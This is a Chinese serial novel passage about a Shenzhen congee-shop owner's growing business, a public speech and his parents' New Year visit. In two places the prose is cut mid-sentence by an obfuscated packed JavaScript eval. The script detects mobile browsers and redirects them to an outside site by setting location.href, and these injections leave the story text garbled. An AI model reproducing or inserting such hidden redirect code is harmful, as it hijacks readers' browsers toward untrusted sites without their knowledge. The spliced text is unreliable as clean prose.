陈永福想了想，是这个理。深圳年轻人多，很多单身，小包装有市场。 “做吧。先试做一千包，看反应。” “好。”小林记下，“还有，郑先生来电话，说想谈广告的事。” “广告？” “嗯，说咱们的粥料在超市卖得好，但知名度还不够。想做点广告，提高品牌知名度。” 陈永福皱眉。广告要花钱，而且是大钱。 “晚上我回电话给他。” 晚上，陈永福给郑文达打电话。郑文达直接说：“陈老板，现在市场好，要趁机打响品牌。我建议在《深圳特区报》登广告，连续登一个月。” “多少钱？” “一个版面一天两千，一个月六万。” 六万。陈永福倒吸一口凉气。 “郑先生，咱们现在利润一个月七万，登广告就去掉六万，不划算。” “不是这样算的。”郑文达耐心解释，“广告投入，换来的是品牌价值。品牌响了，销量就上去，利润就增长。这是投资，不是开销。” 陈永福不懂这些理论，但他相信郑文达的眼光。 “那就试试，但先登半个月，看看效果。” “行，我安排。” 挂了电话，陈永福算账。半个月广告费三万，加上其他开支，这个月利润要打折扣。但他想，郑文达说得对，品牌响了，才能长久。 广告的事交给郑文达，陈永福专心抓生产。小包装设计出来了，红色袋子，印着“家香一人食”，下面一行小字：“一碗刚刚好”。试做了一千包，放在超市试销。 效果出奇的好。单身年轻人喜欢，说方便，不浪费。一周就卖完了，超市要求补货。 陈永福赶紧安排批量生产。新生产线开足马力，一天能产三万包，还供不应求。 十一月底，深圳入冬了。湿冷的风从海上吹来，商场里暖气开得足，但街上行人缩着脖子。粥铺生意更好了，热粥成了抢手货。 一天下午，店里来了个不速之客。 是个中年男人，穿着蓝色的确良中山装，拎着黑色人造革包。他站在门口看了看招牌，才走进来。 “请问，陈永福在吗？” 陈永福从后厨出来，看见来人，愣了一下。有点眼熟，但想不起来是谁。 “我是陈永福，您是？” “陈老板，我是周淑芬的堂哥，周建国。”男人伸出手。 周淑芬？陈永福想起来了，那个找孩子的老师。 “周老师还好吗？”他握手。 “好，好。”周建国坐下，“淑芬现在在东莞教书，孩子上小学了。她常说起你，说当年多亏你们帮忙。” “应该的。”陈永福让王建军盛碗热粥，“周先生找我有什么事？” 周建国喝了口粥，说：“我在市轻工业局工作，听说你做了粥料包，卖得不错。” “小生意。” “不是小生意。”周建国放下碗，“陈老板，现在国家鼓励个体户发展，像你这样的，属于先进典型。局里想树个榜样，推广你的经验。” 陈永福有点懵：“推广我的经验？” “对，就是怎么从个体户发展成工厂。”周建国从包里拿出笔记本，“我想写个材料，报上去。如果选上了，可能有政策扶持。” 政策扶持？陈永福心动了。 “周先生需要我做什么？” “简单，讲讲你的发展过程，遇到的困难，怎么解决的。”周建国打开本子，“咱们随便聊，我记录。” 两人聊了两个钟头。陈永福从老街粥铺说起，说到贷款，说到拆迁，说到开分店，说到办工厂。周建国听得认真，不时点头。 “陈老板，你这个经历很有代表性。”周建国合上本子，“从农民到个体户，再到企业家，体现了深圳特区的精神。” 企业家？陈永福第一次听人这么称呼自己。他觉得自己就是个熬粥的，运气好点而已。 “周先生过奖了。” “不是过奖，是事实。”周建国说，“材料我回去整理，写好了给你看。如果选上了，可能还要开个会，让你发言。” “发言？”陈永福紧张了，“我不会说话。” “不用多会说，讲真话就行。”周建国拍拍他的肩，“陈老板，这是机会，抓住了，对你以后发展有好处。” 送走周建国，陈永福还觉得不真实。他要成典型了？要发言了？ 晚上回家，他跟林玉兰说了。林玉兰也惊讶：“阿福，这是好事啊。” “好事是好事，可我心里没底。”陈永福说，“我就是个熬粥的，算什么企业家。” “熬粥熬到开工厂，就是企业家。”林玉兰说，“阿福，你要自信点。” 陈永福苦笑。自信？他从来就没有过。一路走来，都是被推着走，逼着走。现在被人当典型，他慌。 但机会来了，不能躲。 过了几天，周建国又来了，拿着写好的材料。厚厚一沓，标题是《从一碗粥到一个品牌：个体户陈永福的创业之路》。 陈永福看了一遍，脸红。材料把他写得太好了，说他“有远见”“敢闯敢试”“带领乡亲致富”。其实他就是想养家糊口，没那么伟大。 “周先生，这……” “材料要拔高一点，这是宣传需要。”周建国说，“陈老板，你看看事实有没有出入，没有的话，我就报上去了。” 陈永福仔细看了，事实基本没错，就是措辞夸张。 “行吧。” “还有个事。”周建国说，“下周五有个座谈会，在市政府礼堂，请了几位个体户代表发言。你能不能参加？” “我……” “去吧，露个脸，对你以后有好处。”周建国说，“发言稿我帮你写好了，你照着念就行。” 陈永福犹豫了一下，答应了。 座谈会那天，他特意穿了新买的西装，深蓝色的，打了条红色领带。林玉兰帮他整理衣领，笑着说：“还挺精神。” “别扭，不习惯。”陈永福扯扯领带。 “忍忍，一会儿就好。” 市政府礼堂不大，能坐两百人。台上挂着红布条幅：“深圳市个体经济发展座谈会”。台下坐满了人，有穿西装的，有穿中山装的，还有像他一样穿得不自在的。 陈永福被安排在第一排，胸口别着“代表”的红花。他捏着发言稿，手心出汗。 座谈会开始，领导讲话，讲政策，讲形势。陈永福听得半懂不懂，但知道是鼓励个体经济发展的话。 轮到代表发言了。第一个是服装店老板，第二个是电器商，第三个就是他。 主持人念：“下面请家香粥铺、家香食品厂负责人陈永福同志发言。” 陈永福站起来，腿有点软。他走到讲台前，拿出稿子。台下两百双眼睛看着他，他脑子一片空白。 深呼吸，开始念：“各位领导，各位同志，大家好。我叫陈永福，来自潮汕，现在是家香粥铺和家香食品厂的负责人……” 稿子写得好，但他念得磕磕巴巴。普通话不标准，潮汕口音重。台下有人笑了，不是嘲笑，是善意的笑。 念到一半，他忽然不想念了。这些漂亮话不是他想说的。他把稿子放下，看着台下。 “对不起，稿子写得好，但不是我的心里话。”他声音有点抖，“我来深圳三年多，从摆粥摊开始。那时候就是想挣口饭吃，没想过什么远大理想。” 台下安静了。 “后来生意好了，开了分店，办了工厂。大家都说我成功，说我厉害。其实不是，我就是运气好，赶上了好时候。”陈永福顿了顿，“深圳这个地方，给普通人机会。只要你肯干，肯吃苦，就能活下来，活得好。” “我现在有老婆孩子，有父母兄弟，有几十号员工跟着我吃饭。我不敢停，也不能停。因为我不是一个人，是一群人。” “有人说我是企业家，我不懂。我就是个熬粥的。但我觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380753|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，能把粥熬好，让客人喝得满意，让员工有饭吃，就是我的本事。” 他讲完了，鞠躬。台下沉默了几秒，然后响起掌声。 回到座位，周建国对他竖大拇指：“讲得好，实在。” 陈永福擦擦汗，笑了。原来讲真话，也没那么难。 座谈会结束后，几个领导过来跟他握手，说他的发言“朴实”“感人”。还有个记者要采访他，他推了，说不会说话。 晚上回家，林玉兰问他怎么样。他说了经过，林玉兰笑了：“阿福，你真是的，稿子都不念。” “念不下去，不是我的东西。” “这样更好，实在。” 那天晚上，陈永福睡得特别香。放下了包袱，轻松了。 十二月初，深圳更冷了。但陈永福心里热，因为父母要来了。 他租好了房子，四室两厅，在罗湖一个新小区。房子空着，等父母来了再布置。林玉兰去看过，说好，亮堂，宽敞。 “爸妈肯定喜欢。”她说。 陈永福想，父母在老家住的是老屋，黑乎乎的，潮湿。来深圳住这么好的房子，肯定不习惯。但住住就习惯了，人都是这样。 月中，周建国的材料批下来了。陈永福被评为“深圳市个体经济先进典型”，发了奖状，还有五百块奖金。 奖金他捐了，捐给老家修路。永贵打电话来说，村里人夸他有良心。 “哥，你现在是名人了。”永贵说。 “什么名人，就是个熬粥的。”陈永福说，“永贵，等路修好了，你和小芬带孩子来深圳玩。” “好。” 挂了电话，陈永福想，人活一世，不能只顾自己。有能力了，要帮别人。这是父亲教他的。 十二月底，年关近了。商场里挂起红灯笼，放起喜庆音乐。粥铺生意好，工厂订单多，陈永福忙得团团转。 但他抽出时间，给员工发年终奖。深圳的店、东莞的店、广州的店、工厂，加起来一百多号人，每人一百块，包红包。 发钱那天，工厂食堂摆了几桌。陈永福讲话，还是那句：“大家辛苦了，明年一起努力。” 员工们鼓掌，喊：“谢谢老板！” 黄秀英从广州赶回来，也发奖金。她管理的两家店，员工每人八十。她站在陈永福旁边，小声说：“老板，我现在也能给别人发奖金了。” “是啊，你长大了。” “都是老板带得好。” 发完奖金，聚餐。大盆菜，啤酒，热闹。刘师傅喝多了，拉着陈永福的手说：“老板，我跟你跟对了。在你这儿，有奔头。” “好好干，以后更好。” “一定！” 王建军没喝酒，他要开车送陈永福回家。他现在是深圳区域经理，管三家店，还管送货。陈永福把公司的面包车给他用，算是配车。 “老板，明年我想考个大专。”王建军说。 “好啊，学什么？” “学管理。”王建军说，“李经理说，以后店多了，要懂系统管理。” “行，学费公司出。” “谢谢老板。” 送陈永福到家，王建军走了。陈永福站在楼下，看着他的车灯消失在夜色里。这个当年送餐的小伙子，现在能独当一面了。 时间真快，人也真能变。 上楼，林玉兰在等他。晓梅睡了，□□在看电视。 “发完奖金了？” “嗯。” “秀英回来了？” “回来了，明天又走。” “这孩子，比你还拼。” “年轻人，有冲劲好。” 洗漱完，陈永福坐在床边，看晓梅睡觉。孩子八个月了，白白胖胖的，睡着时嘴角还动，像在笑。 “玉兰，等爸妈来了，咱们拍张全家福。”他说。 “好，去照相馆拍。” “不，请人来家里拍，自然点。” “行。” 躺下，陈永福睡不着。想这一年的事：开工厂，做粥料，打广告，当典型。像做梦一样。 但看看身边的妻子，看看孩子，看看这个家，又是真的。 他轻轻起身，走到窗前。深圳的夜，灯火璀璨。远处工地还在施工，塔吊的灯像星星。 他想起了老街，想起了老榕树。树移走了，但他记得。记得树下熬粥的日子，记得那些喝粥的人，记得那些苦和甜。 现在，他有了更大的舞台，更多的责任。 但他还是那个陈永福，熬粥的陈永福。 根在这里，跑不了。 窗外，不知谁家放起了鞭炮，噼里啪啦的，提前庆祝新年。 陈永福笑了。 新年来了，父母要来，孩子们长大，生意要继续。 路还长，但他不怕。 有家，有粥，有深圳。 够了。 他回到床上，躺下。林玉兰翻了个身，轻声问：“还不睡？” “就睡。” 闭上眼睛，明天还要早起。 但今晚，他想好好睡一觉。 20. 家宴 腊月二十三，小年。 深圳的街头巷尾飘起了年味。商场挂满了红灯笼，门口摆上了金桔树，黄澄澄的果子在绿叶间闪光。卖年货的摊子沿街摆开，春联、福字、窗花，红红火火一片。 陈永福起了个大早。天还没亮透，他就站在罗湖店门口，看着工人往门上贴春联。春联是他自己写的，红纸黑字，不太工整，但有力：“粥香飘千里，家暖聚一堂”。横批：“家香永驻”。 王建军在旁边指挥：“左边高点……好，好，就这样。” “建军，今天早点打烊。”陈永福说，“让大家回去准备过年。” “好嘞。”王建军应着，“老板，您父母是明天到吧？” “嗯，下午三点的车。” “我去接？” “不用，我去。”陈永福看看表，“店里你盯着，下午四点关门。” “行。” 陈永福转身进了店。后厨热气腾腾，刘师傅在熬今天的最后一锅粥。这锅粥要熬得特别稠，特别香，因为今天有很多老客人会来，喝一碗粥，说几句吉利话，算是辞旧迎新。 “刘师傅，今天辛苦。” “不辛苦。”刘师傅擦擦汗，“老板，我老家寄了点腊肉，一会儿给您拿点。” “谢谢，不用，你自己留着。” “要的要的，您尝尝。” 陈永福没再推辞。他知道刘师傅的心意，收了，情谊就在。 上午十点，客人开始多起来。有很多熟面孔，都是老客。 “陈老板，新年好啊！” “同好同好，里面坐。” “还是老样子，皮蛋粥。” “好嘞。” 一个老太太拄着拐杖进来，是小玲扶着。老太太姓梁，八十多了，住在附近，从粥铺开张就来喝粥，风雨无阻。 “梁婆婆，您来了。”陈永福迎上去。 “来啦，来啦。”梁婆婆坐下，“今天最后一天啦？” “明天歇业，初五开。” “好，好，歇歇。”梁婆婆从兜里掏出个红包，“给我小孙子，压岁钱。” 陈永福连忙推：“不用不用，梁婆婆您留着。” “拿着，讨个吉利。”梁婆婆硬塞给他，“你是个好人，好人要有好报。” 红包很薄，但陈永福觉得沉甸甸的。他收下了，给梁婆婆盛了碗最稠的粥，多放了几片肉。 中午，何老板晃悠过来，提着两瓶酒。 “陈老板，提前拜个年。” “何老板客气。”陈永福接过酒，“晚上来家里吃饭？” “不了不了，你们一家人团聚，我就不凑热闹了。”何老板摆摆手，“初五开业，咱们再聚。” “行。” 何老板走后，李文杰来了。他没带东西，就是来转转。 “李经理不回家过年？” “不回，香港那边亲戚多，回去更累。”李文杰笑笑，“在深圳清静。” “那晚上来吃饭？” “好，那我带瓶酒。” 下午三点，店里最后一个客人走了。王建军带着员工打扫卫生，擦桌子，扫地，关灶封火。陈永福站在柜台后，看着这个他经营了三年的地方。 三年，从十平米到三家店，再到工厂。像一场梦，但又是真的。 “老板，收拾好了。”王建军走过来。 “好，发红包。” 陈永福拿出早就准备好的红包，一个挨一个发。每人一百，王建军两百，小周一百五，刘师傅两百。拿到红包的，脸上都笑开了花。 “谢谢老板！” “新年快乐！” “明年更好！” 发完红包，大家散了。陈永福最后检查一遍，锁上门。红色的春联在风中微微飘动，像在告别。 他坐车去火车站。路上堵，车走走停停。到车站时，已经三点二十。火车晚点，牌子上写着“晚点30分钟”。 候车室里人山人海。提大包小包的，抱孩子的，扶老人的，挤挤攘攘。空气里混着汗味、泡面味、烟味。广播里一遍遍播报车次，声音嘶哑。 陈永福找了个角落站着。他想起三年前，自己也是这样挤在人群里，等着来深圳的火车。那时候心里是茫然的，也是期待的。现在，他是来接人的，接父母来他的城市。 三点五十，广播响了：“从潮汕开来的K123次列车即将进站，停靠3号站台。” 人群骚动起来，涌向出站口。陈永福也跟着挤过去，踮着脚看。 火车缓缓进站，停下。车门打开，人流涌出。陈永福瞪大眼睛找。 看见了。 父亲穿着深蓝色的中山装，戴顶灰色帽子，手里提着个编织袋。母亲穿着碎花棉袄，围着围巾，背了个布包。两人在人群中显得单薄，有点茫然。 “阿爸！阿妈！”陈永福挥手。 父亲看见他了，点点头。母亲笑了，眼角皱纹堆起来。 陈永福挤过去，接过父亲手里的袋子：“路上辛苦。” “不辛苦，坐卧铺，挺好。”父亲说，声音有点哑。 “晓梅呢？”母亲问。 “在家，玉兰看着。”陈永福一手提袋子，一手扶着母亲，“车在外面，咱们回家。” 出站，上车。父亲坐在副驾驶，母亲坐后面。车开动了，父亲看着窗外的深圳，不说话。 “变化大吧？”陈永福问。 “大，认不出来了。”父亲轻声说，“上次来，还是你结婚那年。” 那是七年前了。那时候深圳还没这么多高楼，罗湖老街还在。 “阿爸阿妈，这次来，多住些日子。” “住到过年，过了年就回去。”母亲说，“家里鸡啊鸭啊，要人喂。” “让永贵喂，你们就在这儿住。”陈永福说，“我租了大房子，够住。” “那多费钱……”母亲说。 “不费钱，该花的。” 车开到小区。新小区，楼高，绿化好。父亲下车，抬头看楼：“这么高？” “二十层，咱们住八楼。”陈永福说，“有电梯，不用爬。” 进电梯，父亲有点紧张，抓着扶手。母亲倒还好，只是好奇地看。 开门进屋，林玉兰迎上来：“阿爸阿妈，路上累了吧？” “不累不累。”母亲拉着林玉兰的手，“玉兰，你瘦了。” “没瘦，还胖了。”林玉兰笑，“晓梅，叫爷爷奶奶。” 晓梅在学步车里，眨巴着眼睛看陌生人，有点怕生。 “晓梅，这是爷爷，这是奶奶。”陈永福抱起女儿。 晓梅盯着爷爷奶奶看了会儿，忽然笑了，伸手要抱。母亲赶紧接过，眼圈红了：“乖，真乖。” 父亲站在客厅中间，看着这个家。地板是瓷砖的，亮得能照人。沙发是真皮的，又大又软。电视是彩色的，二十四寸。墙上挂着全家福，照片里的人都笑。 “永福，这房子……”父亲欲言又止。 “租的，月租三百。”陈永福老实说。 “三百？”父亲倒吸一口气，“这么贵？” “现在深圳都这个价。”林玉兰端茶过来，“阿爸阿妈坐，喝茶。” 父亲坐下，手放在膝盖上，有点拘谨。母亲抱着晓梅，在屋里转，看这看那。 “建国呢？”母亲问。 “上学，一会儿就回来。”林玉兰说，“阿妈，你们房间在这儿，看看合不合适。” 房间朝南，有阳台。床是新的，被褥也是新的。衣柜、梳妆台、床头柜，一应俱全。窗外能看见小区的花园，还有远处的楼。 “真好。”母亲摸着被子，“真软。” “阿妈喜欢就好。”林玉兰说。 父亲在客厅坐了一会儿，站起来：“永福，带我去店里看看。” “今天打烊了。” “看看外面也行。” 父子俩下楼，走到罗湖店。店门关着，春联鲜红。 “就是这里？”父亲问。 “嗯，第一家店。”陈永福说，“现在有三家店，还有一个工厂。” 父亲仰头看招牌，看了很久。然后伸出手，摸了摸门上的春联，手指划过“家香永驻”四个字。 “写得好。”他说。 “我写的，字不好看。” “好看。”父亲转过身，看着儿子，“永福，你出息了。” 陈永福鼻子一酸：“都是阿爸阿妈教得好。” “我们教什么了？就教了你种地。”父亲拍拍他的肩，“是你自己闯出来的。” 父子俩在店门口站了一会儿。夕阳西下，把春联照得更红了。 回到家，□□回来了。孩子看见爷爷奶奶，有点害羞，躲在妈妈身后。 “建国，来，叫爷爷。”陈永福说。 “爷爷，奶奶。”□□小声叫。 “哎，乖。”母亲拉过孙子，“长这么高了，上次见才这么点。”她比划着。 “上三年级了。”□□说。 “学习好吗？” “还行。” 晚饭是林玉兰做的，六个菜一个汤：白切鸡、清蒸鱼、红烧肉、炒青菜、酿豆腐、蒜蓉菜心，还有排骨莲藕汤。满满一桌。 父亲坐下，看看桌子，又看看陈永福：“平时也这么吃？” “不是，今天你们来，加菜。”陈永福说，“平时简单。” “简单好，不要浪费。”父亲说。 开饭前，陈永福拿出相机：“拍张照吧，全家福。” 一家五口——加上晓梅是六口——挤在沙发上。陈永福调好定时，跑回去坐好。 闪光灯一亮，咔嚓。 照片拍好了，要等洗出来。但那一刻，定格了：父亲坐得笔直，母亲抱着晓梅笑，林玉兰靠着陈永福，□□在中间比了个“V”。 吃饭时，父亲问起工厂的事。陈永福简单说了，没说具体数字，怕吓着老人。 “你现在管多少人？”父亲问。 “一百多个。” 父亲沉默了，扒拉几口饭。过了一会儿，他说：“管这么多人，不容易。要对人家好，人家才跟你干。” “我知道。” “还有，做生意要实在。粥就是粥，不能糊弄。” “嗯。” 母亲插话：“永福，你弟弟那边……” “我知道，我会帮衬。”陈永福说，“等小芬生了，我给他们寄钱。” “不用多，够用就行。”母亲说，“你们兄弟要团结。” “知道。” 吃完饭，陈永福陪父亲在阳台抽烟。深圳的夜景在眼前铺开，高楼大厦，灯火璀璨。 “阿爸，你看，那边是国贸大厦，五十三层。”陈永福指着远处。 父亲眯着眼看：“真高。” “还在盖更高的。” “永福，”父亲吸了口烟，“你在这边，过得惯吗？” “惯了，这里就是家。” “老家呢？” “老家也是家。”陈永福说，“等生意再稳点，我回去盖房子，你们两边住。” 父亲点点头，没说话。烟头在黑暗里一明一灭。 过了一会儿，他说：“你阿妈想来深圳住，又怕给你添麻烦。” “不麻烦，你们来，我高兴。” “她身体不好，老毛病，要常吃药。” “深圳医院好，我带她去看。” 父亲转过头，看着儿子：“永福，你是个孝子。阿爸阿妈没白养你。” 陈永福眼睛热了：“阿爸说这些干嘛。” “该说要说。”父亲拍拍他的肩，“你去忙吧，我站会儿。” 陈永福回屋。林玉兰在哄晓梅睡觉，母亲在厨房洗碗。他走过去：“阿妈，我来洗。” “不用，你歇着。”母亲说，“玉兰都跟我说了，你整天忙，累。” “不累。” “还不累？看你瘦的。”母亲擦擦手，从兜里掏出个红布包，“这个给你。” “什么？” “你小时候的胎发。”母亲打开布包，里面是一撮细细的头发，用红绳绑着，“你出生时剪的，我一直留着。带在身上，保平安。” 陈永福接过，布包还带着母亲的体温。 “阿妈……” “收好。”母亲看着他，“永福，钱是赚不完的，身体要紧。你要是有个好歹，这一家子怎么办？” “我知道，我会注意。” “光说没用，要做到。”母亲叹口气，“你从小就要强，我知道。但现在有家了，有孩子了，不能只想着往前冲，也要看看身边的人。” 陈永福点点头。这些话，林玉兰说过，郑文达说过，现在母亲又说。他知道，他们说得对。 晚上，父母睡了。陈永福和林玉兰躺在床上，都没睡意。 “阿爸阿妈老了。”林玉兰轻声说。 “嗯。” “我想让他们长住。” “他们不肯，说住不惯。” “住住就惯了。”林玉兰说，“阿福，咱们现在条件好了，该让老人享福。” “我知道。”陈永福握住她的手，“玉兰，谢谢你。” “谢我什么？” “谢谢你跟我来深圳，谢谢你照顾这个家。” 林玉兰靠在他肩上：“说这些干嘛。睡吧，明天还要忙。” 第二天，腊月二十四。陈永福带着父母逛深圳。 先去商场。商场里人山人海，年货堆成山。父亲看什么都新鲜，看什么都嫌贵。 “这个糖果，老家一斤三块，这里要五块。” “深圳什么都贵。”陈永福说，“阿爸，想买什么就买，别省。” “不买不买，看看就行。” 母亲倒是买了几样：给晓梅买了套新衣服，给建国买了支钢笔，给林玉兰买了条围巾。都是挑便宜的买，但心意在。 中午在商场吃饭，吃的是粤菜。父亲吃不惯，说太淡。母亲倒喜欢，说清爽。 下午去仙湖植物园。植物园里人少，清静。父母慢慢走，看花看树。父亲在一棵榕树前停下，看了很久。 “像老家那棵。”他说。 “深圳榕树多。”陈永福说。 “但不是老家那棵。”父亲轻声说，“永福，树有根，人也有根。你的根在潮汕，别忘了。” “忘不了。” “没让你回去，是让你记着。”父亲说，“记着根，才能长得高。” 陈永福点点头。他明白父亲的意思。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380754|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>从植物园出来，路过国贸大厦。父亲仰头看，帽子差点掉。 “真能盖这么高？” “能，三天一层楼，深圳速度。” “三天一层……”父亲摇摇头，“我们盖间房要三个月。” “时代不一样了。” “是不一样了。”父亲看着儿子，“永福，你赶上好时候了。” “是。” 回家的路上，父亲睡着了，头靠着车窗。母亲也睡着了，手里还攥着给晓梅买的小衣服。 陈永福从后视镜里看着他们。父母真的老了，头发白了，皱纹深了，背也驼了。他们那一代人，吃过苦，受过穷，现在该享福了。 他暗下决心，一定要让他们在深圳住得惯，过得好。 腊月二十五，郑文达来拜年。提了盒香港点心，还有给孩子的红包。 “陈老板，新年好。” “郑先生同好。” 郑文达跟陈永福父母打招呼，说普通话，父母听不太懂，只是点头笑。 “陈老板，年后有什么打算？”郑文达问。 “想把粥料卖到更多地方。”陈永福说，“广州已经进了，下一步想去佛山、惠州。” “好，我支持。”郑文达说，“还有，香港那边反馈不错，想加大订单。” “行，我让工厂准备。” “不过有个问题。”郑文达说，“现在产能还是不够。香港要货，深圳要货，东莞要货，广州要货。一天两万包，分不过来。” “再上一条线？”陈永福问。 “可以考虑。”郑文达说，“但投资大，要慎重。” “过了年再说。” 郑文达走后，父亲问：“那是你老板？” “是合作伙伴，香港人。” “说话听不懂。”父亲说，“永福，你跟香港人做生意，要小心。他们精明。” “我知道，郑先生人不错。” “人不错就好。”父亲说，“但生意归生意，人情归人情，要分清楚。” “嗯。” 腊月二十八，黄秀英从广州回来。她瘦了，但精神好。提了大包小包的年货，给每个人都带了礼物。 “老板，老板娘，新年好。”她鞠躬。 “秀英，辛苦你了。”林玉兰拉她坐下，“广州那边怎么样？” “好，一天能卖五百碗。”黄秀英说，“工人多，市场大。我还想明年在佛山开一家。” “别太急。”陈永福说，“先把广州的店做好。” “知道。”黄秀英拿出个红包，“给晓梅的，压岁钱。” “你留着，自己用。”陈永福推辞。 “老板，我现在有钱。”黄秀英笑，“一个月能挣三百多。” 陈永福一愣。三百多，比他刚来深圳时多多了。 “好，你出息了。”他收下红包，“秀英，过了年，把你爸妈接来玩玩。” “我想接他们来住。”黄秀英说，“老板，我在东莞买了套房，两室一厅，月供八十。” “买房了？”林玉英惊讶。 “嗯，分期付款。”黄秀英有点不好意思，“不大，但够住。” 陈永福心里感慨。三年前那个蹲在路灯下哭的女孩，现在在深圳买了房。这就是深圳，给普通人机会。 “好，好。”他连说两个好字。 年三十，团圆饭。 陈永福把所有人都请来了：王建军、小周、刘师傅、小林、李文杰、何老板、黄秀英，还有工厂的几个骨干。家里坐不下，在客厅又加了两张桌子。 林玉兰做了十六个菜，摆得满满当当。鸡鸭鱼肉，海鲜青菜，样样俱全。母亲帮忙打下手，父亲坐在主位，有点拘谨，但高兴。 开饭前，陈永福举杯：“今天过年，大家能来，我很高兴。这一年，大家辛苦了。我敬大家一杯。” “敬老板！”众人举杯。 父亲也举起杯，手有点抖：“我代永福谢谢大家。他年轻，不懂事，大家多包涵。” “阿爸……”陈永福想说不用，但父亲摆摆手。 “该说的要说。”父亲看着一屋子的人，“永福能有今天，是靠大家帮衬。我们老陈家记着这份情。” 众人感动，纷纷说：“陈老板人好，我们愿意跟着干。” 吃饭，喝酒，说笑。刘师傅讲了个笑话，大家都笑了。王建军说了个培训班的趣事，大家又笑了。黄秀英说了广州见闻，大家听得入神。 晓梅在大人中间跑来跑去，收红包收到手软。□□跟小林聊数学题，小林是大学生，讲得头头是道。 父亲慢慢喝着酒，看着这一切。他很少说话，但嘴角一直挂着笑。 母亲忙着给大家夹菜，说这个好吃，那个多吃点。 林玉兰在厨房和客厅之间穿梭，脸上泛着红晕。 陈永福坐在父亲旁边，看着这个热闹的家。这是他来深圳后，过得最热闹的一个年。 有父母，有妻儿，有朋友，有员工。 这就是他要的日子。 饭后，大家帮忙收拾。然后坐在客厅看电视，春节联欢晚会。小品，相声，唱歌。笑声不断。 零点钟声敲响时，深圳全城响起鞭炮声。虽然禁放，但拦不住。 陈永福站在阳台上，看着夜空被烟花照亮。红的，绿的，金的，银的，一朵朵炸开，璀璨夺目。 父亲站在他旁边，也看着。 “真好看。”父亲说。 “嗯。” “永福，”父亲转过头，“阿爸为你骄傲。” 陈永福鼻子一酸，忍住。 烟花还在放，照亮了父亲的脸。那张布满皱纹的脸，此刻舒展着，笑着。 “阿爸，明年咱们还这么过。”陈永福说。 “好，好。”父亲拍拍他的肩，“进屋吧，冷。” 父子俩回屋。屋里暖，笑声暖，人心暖。 这个年，团圆了。 夜深了，客人散去。父母睡了，孩子睡了。陈永福和林玉兰收拾残局。 “累了吧？”陈永福问。 “不累，高兴。”林玉兰说，“阿福，你看阿爸阿妈，今天笑得多开心。” “嗯。” “以后每年都接他们来过年。” “好。” 收拾完，两人坐在沙发上。电视里重播晚会，声音调得很小。 “阿福，新的一年，你有什么打算？”林玉兰问。 “把生意做好，让父母过好，让孩子上好学。”陈永福说，“你呢？” “我？我就想把家照顾好，让你没有后顾之忧。” 陈永福握住她的手：“玉兰，有你在，我才能往前冲。” “我知道。”林玉兰靠在他肩上，“阿福，咱们会越来越好的。” “嗯，会好的。” 窗外，鞭炮声渐渐稀了。深圳的夜，慢慢安静下来。 但屋里，温暖如春。 陈永福看着熟睡的父母，看着孩子，看着妻子。 他想，这就是他的根，他的家，他的深圳。 新的一年，新的开始。 他会继续往前走，但不管走多远，根在这里，家在这里。 够了。 睡吧，明天又是新的一年。 21. 年味 初一的早晨，深圳下了点毛毛雨。 雨不大，像雾，飘在空中，落在脸上凉丝丝的。街上人少，很多店铺都关着门，红灯笼在雨雾里朦朦胧胧的，像浸了水的剪纸。 陈永福醒来时，天还没亮透。他轻手轻脚起床，怕吵醒林玉兰和孩子们。走到客厅，却看见父亲已经坐在沙发上，腰板挺直，像在老家早起时一样。 “阿爸，这么早？” “习惯了，到点就醒。”父亲说，“你去忙你的，不用管我。” “今天初一，店不开门。”陈永福在父亲旁边坐下，“阿爸，再睡会儿？” “不睡了。”父亲看看窗外，“下雨了。” “嗯，春雨贵如油。” “深圳也这么说？” “都说。” 父子俩坐了一会儿。雨丝斜斜地打在玻璃窗上，划出一道道水痕。 “永福，”父亲忽然开口，“昨晚上那些人，都是跟着你干的？” “嗯，有些是店里的，有些是工厂的。” “人不少。”父亲顿了顿，“你给他们发工资，他们靠你吃饭。这是责任，你要担好。” “我知道。” “知道不够，要记在心里。”父亲转过脸看他，“咱们老陈家，祖祖辈辈种地，没管过别人。现在你管这么多人，是天大的事。要对得起人家。” 陈永福点点头。父亲的话像石头，沉甸甸地压在心里。 厨房里传来动静，是母亲起来了。陈永福过去，看见母亲在烧水。 “阿妈，我来。” “不用，你坐着。”母亲说，“初一早起烧水，是老家规矩。水要滚三滚，一年都顺溜。” 陈永福笑了。深圳没这规矩，但母亲守着。 水烧开了，母亲泡了壶茶。铁观音，潮汕人喝惯的。茶香飘出来，带着老家的味道。 一家人围坐在桌前喝茶。晓梅还在睡，□□揉着眼睛出来，看见爷爷奶奶，叫了声“新年好”。 “建国，来，红包。”母亲掏出红包。 “谢谢奶奶。” “祝我孙子学习进步，身体健康。” “祝爷爷奶奶长命百岁。” 大家都笑了。茶热气腾腾的，屋里暖。 喝完茶，林玉兰开始准备早饭。初一要吃素，这是老规矩。她做了几样：炒米粉、蒸萝卜糕、煮芋头、炒青菜，还有一锅白粥。 父亲尝了口萝卜糕，点头：“玉兰手艺好。” “阿妈教的。”林玉兰说。 “是，你阿妈做的萝卜糕，全村最好。”母亲笑了，眼角皱纹堆起来。 吃完饭，雨停了。阳光从云缝里漏出来，照在湿漉漉的街上。 “出去走走？”陈永福问。 “好。”父亲说。 